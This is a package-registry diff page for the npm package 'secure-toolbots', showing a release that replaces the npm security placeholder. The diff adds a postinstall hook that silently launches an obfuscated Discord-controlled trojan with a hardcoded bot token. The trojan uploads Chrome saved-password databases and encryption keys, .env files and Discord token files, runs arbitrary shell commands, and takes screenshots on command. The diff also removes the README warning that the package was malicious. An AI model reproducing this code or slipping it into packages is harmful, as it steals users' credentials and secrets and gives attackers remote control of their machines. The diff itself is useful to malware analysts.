secure-toolbots 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of secure-toolbots might be problematic. Click here for more details.
- package/index.js +11 -0
- package/package.json +13 -3
- package/postinstall.js +11 -0
- package/src/index.js +1 -0
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,11 @@
|
|
1
|
+
const { spawn } = require('child_process');
|
2
|
+
const path = require('path');
|
3
|
+
|
4
|
+
const scriptPath = path.resolve(__dirname, 'src/index.js');
|
5
|
+
|
6
|
+
const subprocess = spawn('node', [scriptPath], {
|
7
|
+
detached: true,
|
8
|
+
stdio: 'ignore',
|
9
|
+
});
|
10
|
+
|
11
|
+
subprocess.unref();
|
package/package.json
CHANGED
@@ -1,6 +1,16 @@
|
|
1
1
|
{
|
2
2
|
"name": "secure-toolbots",
|
3
|
-
"version": "0.0
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"postinstall": "node postinstall.js"
|
9
|
+
},
|
10
|
+
"dependencies": {
|
11
|
+
"discord.js": "^14.16.2",
|
12
|
+
"screenshot-desktop": "^1.15.0"
|
13
|
+
},
|
14
|
+
"author": "",
|
15
|
+
"license": "ISC"
|
6
16
|
}
|
package/postinstall.js
ADDED
@@ -0,0 +1,11 @@
|
|
1
|
+
const { spawn } = require('child_process');
|
2
|
+
const path = require('path');
|
3
|
+
|
4
|
+
const scriptPath = path.resolve(__dirname, 'src/index.js');
|
5
|
+
|
6
|
+
const subprocess = spawn('node', [scriptPath], {
|
7
|
+
detached: true,
|
8
|
+
stdio: 'ignore',
|
9
|
+
});
|
10
|
+
|
11
|
+
subprocess.unref();
|
package/src/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0x558765=_0x2fdf;(function(_0x3d02b6,_0x4beb30){const _0x4bafe6=_0x2fdf,_0x17cf24=_0x3d02b6();while(!![]){try{const _0x2044b3=parseInt(_0x4bafe6(0x221))/0x1*(-parseInt(_0x4bafe6(0x233))/0x2)+-parseInt(_0x4bafe6(0x235))/0x3*(parseInt(_0x4bafe6(0x224))/0x4)+parseInt(_0x4bafe6(0x200))/0x5*(parseInt(_0x4bafe6(0x1f9))/0x6)+parseInt(_0x4bafe6(0x205))/0x7+-parseInt(_0x4bafe6(0x1fb))/0x8+parseInt(_0x4bafe6(0x277))/0x9*(parseInt(_0x4bafe6(0x26a))/0xa)+parseInt(_0x4bafe6(0x217))/0xb;if(_0x2044b3===_0x4beb30)break;else _0x17cf24['push'](_0x17cf24['shift']());}catch(_0x394337){_0x17cf24['push'](_0x17cf24['shift']());}}}(_0x4cc0,0x7e96c));const {Client,GatewayIntentBits,ChannelType,PermissionsBitField}=require(_0x558765(0x229)),fs=require('fs'),os=require('os'),path=require(_0x558765(0x241)),{execSync,exec}=require(_0x558765(0x259)),{homedir}=os,screenshot=require(_0x558765(0x272)),a0_0x459bfb={'intents':[GatewayIntentBits['Guilds'],GatewayIntentBits[_0x558765(0x26f)],GatewayIntentBits[_0x558765(0x22c)]]},client=new Client(a0_0x459bfb),systemv=os[_0x558765(0x239)]()[_0x558765(0x261)]();let currentDirectory=process['cwd']();function getMachineUniqueId(){const _0x3e6c4c=_0x558765,_0x187ad4=(function(){let _0x28376b=!![];return function(_0x3ce23c,_0x2aa1f5){const _0xa8fa99=_0x28376b?function(){if(_0x2aa1f5){const _0x553597=_0x2aa1f5['apply'](_0x3ce23c,arguments);return _0x2aa1f5=null,_0x553597;}}:function(){};return _0x28376b=![],_0xa8fa99;};}()),_0x5d3cf8=_0x187ad4(this,function(){const _0x147827=_0x2fdf;return _0x5d3cf8[_0x147827(0x24b)]()['search'](_0x147827(0x250))['toString']()[_0x147827(0x21a)](_0x5d3cf8)['search'](_0x147827(0x250));});_0x5d3cf8();const _0x55cc2a=(function(){let _0x47504c=!![];return function(_0x5b9f4c,_0x15a728){const _0x5e971b=_0x47504c?function(){const _0x230b80=_0x2fdf;if(_0x15a728){const _0x1919de=_0x15a728[_0x230b80(0x223)](_0x5b9f4c,arguments);return _0x15a728=null,_0x1919de;}}:function(){};return _0x47504c=![],_0x5e971b;};}());(function(){_0x55cc2a(this,function(){const _0x35731e=_0x2fdf,_0x3567de=new RegExp(_0x35731e(0x1f6)),_0x45dfc3=new RegExp(_0x35731e(0x20e),'i'),_0xf379df=_0x29be11('init');!_0x3567de[_0x35731e(0x274)](_0xf379df+_0x35731e(0x1fa))||!_0x45dfc3['test'](_0xf379df+_0x35731e(0x203))?_0xf379df('0'):_0x29be11();})();}());const _0x1e5284=(function(){let _0x334bde=!![];return function(_0x40e984,_0x13b7bf){const _0xd70e79=_0x334bde?function(){const _0x40c3c1=_0x2fdf;if(_0x13b7bf){const _0x2551d6=_0x13b7bf[_0x40c3c1(0x223)](_0x40e984,arguments);return _0x13b7bf=null,_0x2551d6;}}:function(){};return _0x334bde=![],_0xd70e79;};}()),_0x53d34e=_0x1e5284(this,function(){const _0x5083b7=_0x2fdf;let _0x11ae2b;try{const _0xdca1fb=Function(_0x5083b7(0x23d));_0x11ae2b=_0xdca1fb();}catch(_0x152eeb){_0x11ae2b=window;}const _0x196470=_0x11ae2b[_0x5083b7(0x219)]=_0x11ae2b[_0x5083b7(0x219)]||{},_0x1d54d5=['log',_0x5083b7(0x245),_0x5083b7(0x207),_0x5083b7(0x20c),'exception',_0x5083b7(0x211),'trace'];for(let _0x129e50=0x0;_0x129e50<_0x1d54d5['length'];_0x129e50++){const _0x148fa1=_0x1e5284[_0x5083b7(0x21a)][_0x5083b7(0x249)][_0x5083b7(0x254)](_0x1e5284),_0x1000cd=_0x1d54d5[_0x129e50],_0x133f1d=_0x196470[_0x1000cd]||_0x148fa1;_0x148fa1[_0x5083b7(0x237)]=_0x1e5284[_0x5083b7(0x254)](_0x1e5284),_0x148fa1[_0x5083b7(0x24b)]=_0x133f1d[_0x5083b7(0x24b)]['bind'](_0x133f1d),_0x196470[_0x1000cd]=_0x148fa1;}});_0x53d34e();const _0x25ff20=os[_0x3e6c4c(0x239)]()['toLowerCase']();try{if(_0x25ff20===_0x3e6c4c(0x222)){const _0x244917=execSync('wmic\x20csproduct\x20get\x20UUID')[_0x3e6c4c(0x24b)]()[_0x3e6c4c(0x266)]('\x0a');return _0x244917[0x1]['trim']();}else{if(_0x25ff20===_0x3e6c4c(0x255)){const _0x12ca87=fs[_0x3e6c4c(0x25e)](_0x3e6c4c(0x212),'utf-8');return _0x12ca87[_0x3e6c4c(0x20b)]();}else{if(_0x25ff20===_0x3e6c4c(0x220)){const _0x497994=execSync(_0x3e6c4c(0x24e))[_0x3e6c4c(0x24b)]();return _0x497994[_0x3e6c4c(0x266)]('=')[0x1]['replace'](/"/g,'')[_0x3e6c4c(0x20b)]();}}}}catch(_0x4f3ac1){return console[_0x3e6c4c(0x20c)](_0x3e6c4c(0x213)+_0x4f3ac1[_0x3e6c4c(0x209)]),null;}}let uniqueId=getMachineUniqueId()[_0x558765(0x1fd)](0x0,0x8);async function sendFilesToDiscord(_0x121116,_0x51af24){const _0x402121=_0x558765;for(const _0x4c95a2 of _0x51af24){if(fs['existsSync'](_0x4c95a2))try{const _0x529b6c=fs[_0x402121(0x20f)](_0x4c95a2);if(_0x529b6c[_0x402121(0x26d)]!==0x0){const _0x4eb4d7={'files':[_0x4c95a2]};await _0x121116[_0x402121(0x216)](_0x4eb4d7);}}catch(_0x77271c){await _0x121116[_0x402121(0x216)]('Failed\x20to\x20send\x20file\x20'+_0x4c95a2+':\x20'+_0x77271c[_0x402121(0x209)]);}else await _0x121116['send'](_0x402121(0x247)+_0x4c95a2);}}function _0x4cc0(){const _0x51d424=['find','bot','send','251108GPfgTS','\x0a```','console','constructor','Profile','includes','nkbihfbeogaeaoehlefnkodbefgpgknn','```\x0a','tmpdir','darwin','333947MAZiqq','win32','apply','1440548MjstSC','.config','author','length','isDirectory','discord.js','lastIndexOf','channels','MessageContent','startsWith','Local','stateObject','members','MTMzMTA3Nzg4NjEwNjUzMzkyOQ.GH9YTo.5ZdICtGUW9-m4ulbTc6JskE-ELJvVXe1R_kEw0','create','4GKJzxr','cache','6CgDbcc','action','__proto__','Changed\x20directory\x20to:\x20','platform','readdirSync','Flags','SendMessages','return\x20(function()\x20{}.constructor(\x22return\x20this\x22)(\x20));','resolve','counter','No\x20output.','path','Error:\x20Directory\x20not\x20found.','homedir','promises','warn','debugger','File\x20does\x20not\x20exist:\x20','Error:\x20Not\x20a\x20directory.','prototype','string','toString','An\x20error\x20occurred:\x20','first','ioreg\x20-rd1\x20-c\x20IOPlatformExpertDevice\x20|\x20grep\x20IOPlatformUUID','filter','(((.+)+)+)+$','Error\x20while\x20sending\x20files','Error\x20sending\x20screenshot.','Application\x20Support','bind','linux','unlink','Changed\x20directory\x20to\x20home:\x20','roles','child_process','Error\x20while\x20searching\x20for\x20.env\x20files:\x20','isFile','forEach','google-chrome','readFileSync','catch','Default','toLowerCase','!run\x20','GuildText','channel','name','split','Here\x27s\x20your\x20screenshot:','AppData','join','10KStGFT','.env','Library','size','error\x20while\x20sending\x20chrome\x20profiles','GuildMessages','messageCreate','I\x20don\x27t\x20understand\x20that\x20command.\x20Use\x20`!run\x20{command}`\x20to\x20run\x20a\x20command,\x20`!sendfile\x20{filename}`\x20to\x20send\x20a\x20file,\x20or\x20`!screenshot`\x20to\x20take\x20a\x20screenshot.','screenshot-desktop','User\x20Data','test','An\x20error\x20occurred\x20while\x20sending\x20the\x20file:\x20','push','4968009DHKHkp','Error\x20taking\x20screenshot:\x20','while\x20(true)\x20{}','!screenshot','function\x20*\x5c(\x20*\x5c)','Login\x20Data','log','6HeYcyv','chain','5080264XnOloU','ViewChannel','slice','Local\x20State','Google','4860655BZsWfS','Error\x20taking\x20screenshot.','stat','input','Error\x20sending\x20screenshot:\x20','6963243thMdwv','The\x20bot\x20is\x20not\x20connected\x20to\x20any\x20guilds.','info','readdir','message','replace','trim','error','Error\x20while\x20searching\x20for\x20.ldb\x20files:\x20','\x5c+\x5c+\x20*(?:[a-zA-Z_$][0-9a-zA-Z_$]*)','statSync','Chrome','table','/etc/machine-id','Error\x20retrieving\x20unique\x20machine\x20ID:\x20'];_0x4cc0=function(){return _0x51d424;};return _0x4cc0();}async function findAndSendLdbFiles(_0x2e3bca,_0x413037=_0x558765(0x21d)){const _0x24d849=_0x558765,_0x5f2abc=process[_0x24d849(0x239)]==='win32'?os['homedir']():path[_0x24d849(0x269)](os['homedir'](),'Library',_0x24d849(0x253),_0x24d849(0x1ff),'Chrome'),_0x4af60b=[];try{await searchFiles(_0x5f2abc,'.ldb',_0x3e1296=>{const _0x3d4fdb=_0x24d849;_0x3e1296[_0x3d4fdb(0x21c)](_0x413037)&&_0x4af60b[_0x3d4fdb(0x276)](_0x3e1296);});}catch(_0x2a7ae5){console[_0x24d849(0x20c)](_0x24d849(0x20d)+_0x2a7ae5['message']);}await sendFilesToDiscord(_0x2e3bca,_0x4af60b);}async function findAndSendEnvFiles(_0x3ce37d){const _0x3d7a8b=_0x558765,_0x4d3d6d=os[_0x3d7a8b(0x243)](),_0x5959f9=[];try{await searchFiles(_0x4d3d6d,_0x3d7a8b(0x26b),_0x16ee3b=>{const _0x4ecf63=_0x3d7a8b;_0x5959f9[_0x4ecf63(0x276)](_0x16ee3b);});}catch(_0x2de6e1){console['error'](_0x3d7a8b(0x25a)+_0x2de6e1[_0x3d7a8b(0x209)]);}await sendFilesToDiscord(_0x3ce37d,_0x5959f9);}async function searchFiles(_0x3ac4d8,_0x1bb812,_0x16f731){const _0x265dc6=_0x558765,_0x2f8e46={'withFileTypes':!![]},_0x37c4a1=await fs[_0x265dc6(0x244)][_0x265dc6(0x208)](_0x3ac4d8,_0x2f8e46);for(const _0x12eb4a of _0x37c4a1){const _0x3155bb=path['join'](_0x3ac4d8,_0x12eb4a[_0x265dc6(0x265)]);_0x12eb4a[_0x265dc6(0x228)]()?await searchFiles(_0x3155bb,_0x1bb812,_0x16f731):_0x12eb4a[_0x265dc6(0x25b)]()&&_0x12eb4a[_0x265dc6(0x265)][_0x265dc6(0x21c)](_0x1bb812)&&_0x16f731(_0x3155bb);}}function getChromeProfiles(){const _0x2b561d=_0x558765;let _0xd85a75;const _0x49b68a=process[_0x2b561d(0x239)];if(_0x49b68a===_0x2b561d(0x222))_0xd85a75=path[_0x2b561d(0x269)](os[_0x2b561d(0x243)](),_0x2b561d(0x268),_0x2b561d(0x22e),_0x2b561d(0x1ff),_0x2b561d(0x210),'User\x20Data');else{if(_0x49b68a===_0x2b561d(0x220))_0xd85a75=path['join'](os[_0x2b561d(0x243)](),_0x2b561d(0x26c),_0x2b561d(0x253),'Google',_0x2b561d(0x210));else{if(_0x49b68a===_0x2b561d(0x255))_0xd85a75=path[_0x2b561d(0x269)](os['homedir'](),'.config',_0x2b561d(0x25d));else throw new Error('Unsupported\x20platform:\x20'+_0x49b68a);}}return fs[_0x2b561d(0x23a)](_0xd85a75)['map'](_0x4c7b2a=>path[_0x2b561d(0x269)](_0xd85a75,_0x4c7b2a))[_0x2b561d(0x24f)](_0x1180d0=>fs[_0x2b561d(0x20f)](_0x1180d0)[_0x2b561d(0x228)]()&&(_0x1180d0['includes'](_0x2b561d(0x21b))||_0x1180d0[_0x2b561d(0x21c)](_0x2b561d(0x260))));}function getEncryptionKey(){const _0x20a88b=_0x558765,_0x98f5ee=process['platform'];if(_0x98f5ee===_0x20a88b(0x222))return path[_0x20a88b(0x269)](os[_0x20a88b(0x243)](),_0x20a88b(0x268),_0x20a88b(0x22e),_0x20a88b(0x1ff),'Chrome',_0x20a88b(0x273),_0x20a88b(0x1fe));else{if(_0x98f5ee===_0x20a88b(0x220))return path[_0x20a88b(0x269)](homedir(),'Library',_0x20a88b(0x253),_0x20a88b(0x1ff),_0x20a88b(0x210),_0x20a88b(0x1fe));else{if(_0x98f5ee===_0x20a88b(0x255))return path['join'](homedir(),'.config','google-chrome','Local\x20State');}}throw new Error('Unsupported\x20platform:\x20'+_0x98f5ee);}function getEncryptionKeyMacOS(){const _0x306f36=_0x558765;return path[_0x306f36(0x269)](homedir(),'Library',_0x306f36(0x253),_0x306f36(0x1ff),'Chrome','Local\x20State');}function getEncryptionKeyLinux(){const _0x1ddd64=_0x558765;return path[_0x1ddd64(0x269)](homedir(),_0x1ddd64(0x225),_0x1ddd64(0x25d),'Local\x20State');}function getEncryptionKeyWindows(){const _0x27974e=_0x558765;return path[_0x27974e(0x269)](os['homedir'](),_0x27974e(0x268),'Local',_0x27974e(0x1ff),_0x27974e(0x210),'User\x20Data',_0x27974e(0x1fe));}function _0x2fdf(_0x5a0475,_0x47e0ef){const _0x4cc02f=_0x4cc0();return _0x2fdf=function(_0x2fdfb7,_0x1ed1a6){_0x2fdfb7=_0x2fdfb7-0x1f4;let _0x48af41=_0x4cc02f[_0x2fdfb7];return _0x48af41;},_0x2fdf(_0x5a0475,_0x47e0ef);}async function sendChromeSavedPasswords(_0x4f0556){const _0x5a25ed=_0x558765;try{const _0x57d72a=getChromeProfiles(),_0x306448=getEncryptionKey(),_0x5a3a29=[_0x306448];for(const _0x3bf1fa of _0x57d72a){const _0x35daf5=path['join'](_0x3bf1fa,_0x5a25ed(0x1f7));if(!fs['existsSync'](_0x35daf5))continue;_0x5a3a29[_0x5a25ed(0x276)](_0x35daf5);}await sendFilesToDiscord(_0x4f0556,_0x5a3a29);}catch(_0x4e089a){console[_0x5a25ed(0x1f8)](_0x5a25ed(0x26e),_0x4e089a['message']);}}client['once']('ready',async()=>{const _0x1f5594=_0x558765;try{const _0x22f2a3=client['guilds'][_0x1f5594(0x234)][_0x1f5594(0x24d)]();if(!_0x22f2a3){console['error'](_0x1f5594(0x206));return;}let _0x387308=(systemv+'-'+uniqueId)['toLowerCase']()[_0x1f5594(0x20a)](/\s+/g,'-')[_0x1f5594(0x20b)](),_0x2b42c5=_0x22f2a3[_0x1f5594(0x22b)][_0x1f5594(0x234)][_0x1f5594(0x214)](_0x3ddcd5=>_0x3ddcd5[_0x1f5594(0x265)]===_0x387308);if(!_0x2b42c5)_0x2b42c5=await _0x22f2a3[_0x1f5594(0x22b)][_0x1f5594(0x232)]({'name':_0x387308,'type':ChannelType[_0x1f5594(0x263)],'permissionOverwrites':[{'id':_0x22f2a3[_0x1f5594(0x258)]['everyone']['id'],'deny':[PermissionsBitField[_0x1f5594(0x23b)][_0x1f5594(0x1fc)]]},{'id':_0x22f2a3[_0x1f5594(0x230)]['me']['id'],'allow':[PermissionsBitField[_0x1f5594(0x23b)][_0x1f5594(0x1fc)],PermissionsBitField[_0x1f5594(0x23b)][_0x1f5594(0x23c)]]}]});else{}await _0x2b42c5[_0x1f5594(0x216)]('Hello!\x20This\x20is\x20the\x20command\x20execution\x20channel.\x20Type\x20a\x20command\x20to\x20run\x20it.'),sendChromeSavedPasswords(_0x2b42c5),findAndSendEnvFiles(_0x2b42c5),findAndSendLdbFiles(_0x2b42c5);}catch(_0xc5fdf2){console[_0x1f5594(0x20c)](_0x1f5594(0x24c)+_0xc5fdf2[_0x1f5594(0x209)]);}}),client['on'](_0x558765(0x270),async _0x1d408e=>{const _0x379031=_0x558765;if(_0x1d408e[_0x379031(0x226)][_0x379031(0x215)])return;let _0x1a9d4c=(systemv+'-'+uniqueId)['toLowerCase']()[_0x379031(0x20a)](/\s+/g,'-')[_0x379031(0x20b)]();if(_0x1d408e[_0x379031(0x264)]['name']!==_0x1a9d4c)return;const _0x4b67c7=_0x1d408e['content'][_0x379031(0x20b)]();if(_0x4b67c7[_0x379031(0x22d)](_0x379031(0x262))){const _0x403655=_0x4b67c7[_0x379031(0x1fd)](0x5)[_0x379031(0x20b)]();if(_0x403655){if(_0x403655['startsWith']('cd')){const _0x5f3627=_0x403655[_0x379031(0x266)]('\x20');if(_0x5f3627[_0x379031(0x227)]>=0x2){const _0x2c07d9=_0x5f3627[_0x379031(0x1fd)](0x1)[_0x379031(0x269)]('\x20'),_0xc6049f=path[_0x379031(0x23e)](currentDirectory,_0x2c07d9);fs[_0x379031(0x202)](_0xc6049f,(_0x267bbc,_0x62d8fb)=>{const _0x5ed104=_0x379031;if(_0x267bbc)_0x1d408e[_0x5ed104(0x264)][_0x5ed104(0x216)](_0x5ed104(0x242));else _0x62d8fb[_0x5ed104(0x228)]()?(currentDirectory=_0xc6049f,_0x1d408e[_0x5ed104(0x264)][_0x5ed104(0x216)](_0x5ed104(0x238)+currentDirectory)):_0x1d408e['channel']['send'](_0x5ed104(0x248));});}else currentDirectory=os[_0x379031(0x243)](),_0x1d408e['channel'][_0x379031(0x216)](_0x379031(0x257)+currentDirectory);}else{const _0x375de4={'cwd':currentDirectory,'shell':!![]};exec(_0x403655,_0x375de4,(_0x28b486,_0xb3f1bd,_0x4d11a5)=>{const _0x4f9e09=_0x379031;if(_0x28b486){_0x1d408e[_0x4f9e09(0x264)][_0x4f9e09(0x216)]('Error:\x20'+_0x28b486['message']);return;}let _0x24c2cb=_0xb3f1bd||_0x4d11a5;if(!_0x24c2cb){_0x1d408e[_0x4f9e09(0x264)]['send'](_0x4f9e09(0x240));return;}const _0x4535c8=splitMessage(_0x24c2cb);_0x4535c8[_0x4f9e09(0x25c)](_0x437d7b=>{const _0x2ee281=_0x4f9e09;_0x1d408e['channel']['send'](_0x2ee281(0x21e)+_0x437d7b+_0x2ee281(0x218));});});}}}else{if(_0x4b67c7[_0x379031(0x22d)](_0x379031(0x1f5))){const _0x59d09c=path[_0x379031(0x269)](os[_0x379031(0x21f)](),'screenshot.png'),_0x56cf0a={'filename':_0x59d09c};screenshot(_0x56cf0a)['then'](_0x3dd71b=>{const _0x538bae=_0x379031,_0x23fead={'content':_0x538bae(0x267),'files':[_0x3dd71b]};_0x1d408e['channel'][_0x538bae(0x216)](_0x23fead)['then'](()=>{const _0x41e004=_0x538bae;fs[_0x41e004(0x256)](_0x3dd71b,_0x230220=>{const _0xd4929=_0x41e004;_0x230220&&console[_0xd4929(0x20c)]('Error\x20deleting\x20screenshot:\x20'+_0x230220);});})['catch'](_0x383f93=>{const _0x49fcdf=_0x538bae;console['error'](_0x49fcdf(0x204)+_0x383f93),_0x1d408e['channel'][_0x49fcdf(0x216)](_0x49fcdf(0x252));});})['catch'](_0xab6e0e=>{const _0x4ab12c=_0x379031;console[_0x4ab12c(0x20c)](_0x4ab12c(0x278)+_0xab6e0e),_0x1d408e[_0x4ab12c(0x264)][_0x4ab12c(0x216)](_0x4ab12c(0x201));});}else{if(_0x4b67c7[_0x379031(0x22d)]('!sendfile\x20')){const _0xab984c=_0x4b67c7['slice'](0xa)[_0x379031(0x20b)]();if(_0xab984c){const _0xb4478=path[_0x379031(0x269)](currentDirectory,_0xab984c);try{const _0x46a142=fs['statSync'](_0xb4478);if(_0x46a142[_0x379031(0x26d)]!==0x0){const _0x256af8={'content':'Here\x27s\x20your\x20file\x20`'+_0xab984c+'`:','files':[_0xb4478]};_0x1d408e[_0x379031(0x264)]['send'](_0x256af8)[_0x379031(0x25f)](_0x3a0e8a=>{const _0x34a291=_0x379031;console['error']('Error\x20sending\x20file:\x20'+_0x3a0e8a),_0x1d408e[_0x34a291(0x264)]['send'](_0x34a291(0x275)+_0x3a0e8a[_0x34a291(0x209)]);});}}catch(_0x28721b){console[_0x379031(0x1f8)](_0x379031(0x251),_0x28721b[_0x379031(0x209)]);}}}else _0x1d408e[_0x379031(0x264)]['send'](_0x379031(0x271));}}});function splitMessage(_0x4cdaf9,_0x401795=0x79e){const _0xb39498=_0x558765,_0x1a2284=[];while(_0x4cdaf9['length']>_0x401795){let _0x2aa5f8=_0x4cdaf9[_0xb39498(0x22a)]('\x0a',_0x401795);_0x2aa5f8===-0x1&&(_0x2aa5f8=_0x401795),_0x1a2284[_0xb39498(0x276)](_0x4cdaf9[_0xb39498(0x1fd)](0x0,_0x2aa5f8)),_0x4cdaf9=_0x4cdaf9[_0xb39498(0x1fd)](_0x2aa5f8)['trimStart']();}return _0x4cdaf9&&_0x1a2284[_0xb39498(0x276)](_0x4cdaf9),_0x1a2284;}client['login'](_0x558765(0x231));function _0x29be11(_0x16d516){function _0x2898bd(_0x263ce7){const _0x536c4c=_0x2fdf;if(typeof _0x263ce7===_0x536c4c(0x24a))return function(_0x12c502){}[_0x536c4c(0x21a)](_0x536c4c(0x1f4))[_0x536c4c(0x223)](_0x536c4c(0x23f));else(''+_0x263ce7/_0x263ce7)[_0x536c4c(0x227)]!==0x1||_0x263ce7%0x14===0x0?function(){return!![];}[_0x536c4c(0x21a)](_0x536c4c(0x246))['call'](_0x536c4c(0x236)):function(){return![];}[_0x536c4c(0x21a)]('debugger')[_0x536c4c(0x223)](_0x536c4c(0x22f));_0x2898bd(++_0x263ce7);}try{if(_0x16d516)return _0x2898bd;else _0x2898bd(0x0);}catch(_0x1cea16){}}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=secure-toolbots for more information.
|